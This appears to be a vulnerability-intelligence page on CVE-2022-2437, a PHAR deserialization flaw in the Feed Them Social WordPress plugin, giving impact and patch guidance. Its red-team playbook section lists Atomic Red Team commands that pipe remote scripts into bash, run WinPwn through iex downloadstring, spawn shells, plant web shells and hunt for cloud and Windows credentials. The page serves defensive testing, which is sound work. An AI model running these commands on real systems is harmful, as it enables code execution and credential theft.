CVE-2022-2437
Overview
This vulnerability is a deserialization of untrusted data flaw affecting the Feed Them Social WordPress plugin up to version 2.9.8.5. The root cause lies in improper handling of serialized input passed via the 'fts_url' parameter, which is processed using a PHAR wrapper. This allows the plugin to deserialize attacker-controlled data without validation, specifically within its social media feed fetching component.
Vulnerability Description
The Feed Them Social – for Twitter feed, Youtube and more plugin for WordPress is vulnerable to deserialization of untrusted input via the 'fts_url' parameter in versions up to, and including 2.9.8.5. This makes it possible for unauthenticated attackers to call files using a PHAR wrapper that will deserialize the data and call arbitrary PHP Objects that can be used to perform a variety of malicious actions granted a POP chain is also present. It also requires that the attacker is successful in uploading a file with the serialized payload.
Impact
An unauthenticated remote attacker can exploit this vulnerability by uploading a malicious serialized payload and triggering its deserialization via the 'fts_url' parameter, potentially executing arbitrary PHP code on the server. This can lead to full compromise of the affected WordPress site, including data theft, site defacement, or further network pivoting. The attack requires no authentication (AV:N/AC:L/PR:N/UI:N) and exploits a critical deserialization flaw with high impact on confidentiality, integrity, and availability (C:H/I:H/A:H).
Solution
Users of the Feed Them Social plugin should upgrade to a version later than 2.9.8.5 where this vulnerability is patched, as documented by Wordfence in their advisory (https://www.wordfence.com/threat-intel/vulnerabilities/id/50bcea94-b12a-4b31-b0c1-bba834ea9bd0). The plugin's changelog and WordPress plugin repository confirm the fix. Site administrators should apply these updates promptly and verify the removal of the vulnerable 'fts_url' deserialization mechanism to mitigate exploitation risk.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability within the Feed Them Social plugin for WordPress arises from improper handling of untrusted input, specifically through the 'fts_url' parameter. This flaw allows for deserialization of data that can be manipulated by an attacker. When an attacker sends a crafted request containing a serialized payload, the plugin processes this input without adequate validation. The use of a PHAR (PHP Archive) wrapper facilitates the execution of arbitrary PHP objects, which can lead to the execution of malicious code on the server. The risk is exacerbated by the fact that the vulnerability is present in versions up to and including 2.9.8.5, leaving a significant window for exploitation if users do not update their installations.
Attack vectors for this vulnerability are particularly concerning due to the low barrier to entry for potential attackers. An unauthenticated user can exploit this flaw by uploading a malicious file containing the serialized payload. Once the payload is executed, it can trigger a chain of operations that may lead to remote code execution, data exfiltration, or even complete server compromise. Scenarios may include an attacker gaining access to sensitive information, manipulating website content, or deploying additional malware. The ability to execute arbitrary PHP code means that the attacker can potentially gain full control over the affected WordPress site, leading to further exploitation of the underlying server infrastructure.
The real-world impact of this vulnerability is significant, particularly for businesses relying on WordPress for their online presence. A successful exploitation can result in severe business risks, including data breaches, loss of customer trust, and financial losses due to downtime or remediation efforts. The implications extend beyond the immediate technical compromise, as businesses may face legal repercussions if sensitive customer data is exposed. Additionally, the reputational damage associated with a security breach can have long-lasting effects, making it imperative for organizations to prioritize the security of their web applications.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regularly updating the Feed Them Social plugin to the latest version is crucial, as developers often release patches to address known vulnerabilities. Employing web application firewalls (WAF) can help filter out malicious requests before they reach the application layer. Additionally, organizations should conduct regular security audits and penetration testing to identify and remediate vulnerabilities proactively. Implementing strict input validation and sanitization measures can also reduce the risk of deserialization attacks. Monitoring logs for unusual activity, such as unexpected file uploads or changes to website content, can provide early warning signs of exploitation attempts.
In conclusion, the vulnerability within the Feed Them Social plugin poses a serious threat to WordPress installations, particularly due to its ease of exploitation and potential for significant impact. Organizations must remain vigilant in their security practices, ensuring timely updates and robust defenses against such vulnerabilities. By adopting a proactive security posture, businesses can mitigate the risks associated with this and similar vulnerabilities, safeguarding their digital assets and maintaining the trust of their users.
Recent CSURFACE threat intelligence indicates a measurable increase in the Exploit Prediction Scoring System (EPSS) for CVE-2022-2437, rising by approximately 27%. This upward adjustment reflects a growing likelihood of exploitation attempts targeting the Feed Them Social WordPress plugin vulnerability. Although no new exploit techniques or proof-of-concept code have surfaced in our telemetry, the rising EPSS score suggests that threat actors are increasingly prioritizing this vulnerability within their attack planning. For defenders, this signals a heightened risk environment where opportunistic attackers may intensify scanning and exploitation efforts, potentially leveraging existing proof-of-concept methods combined with available gadget chains. Consequently, the threat level for affected WordPress installations should be considered elevated, underscoring the need for continued vigilance in monitoring and detection despite the absence of novel exploit variants.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Slickremix | Feed Them Social | All |
cpe:2.3:a:slickremix:feed_them_social:*:*:*:*:*:wordpress:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-586 | Object Injection |
57%
|
Medium | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-2437 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/50bcea94-b12a-4b31-b0c1-bba834ea9bd0?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=2754749%40feed-them-social&new=2754749%40feed-them-social&sfp_email=&sfph_mail= |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/vulnerability-advisories/#CVE-2022-2437 |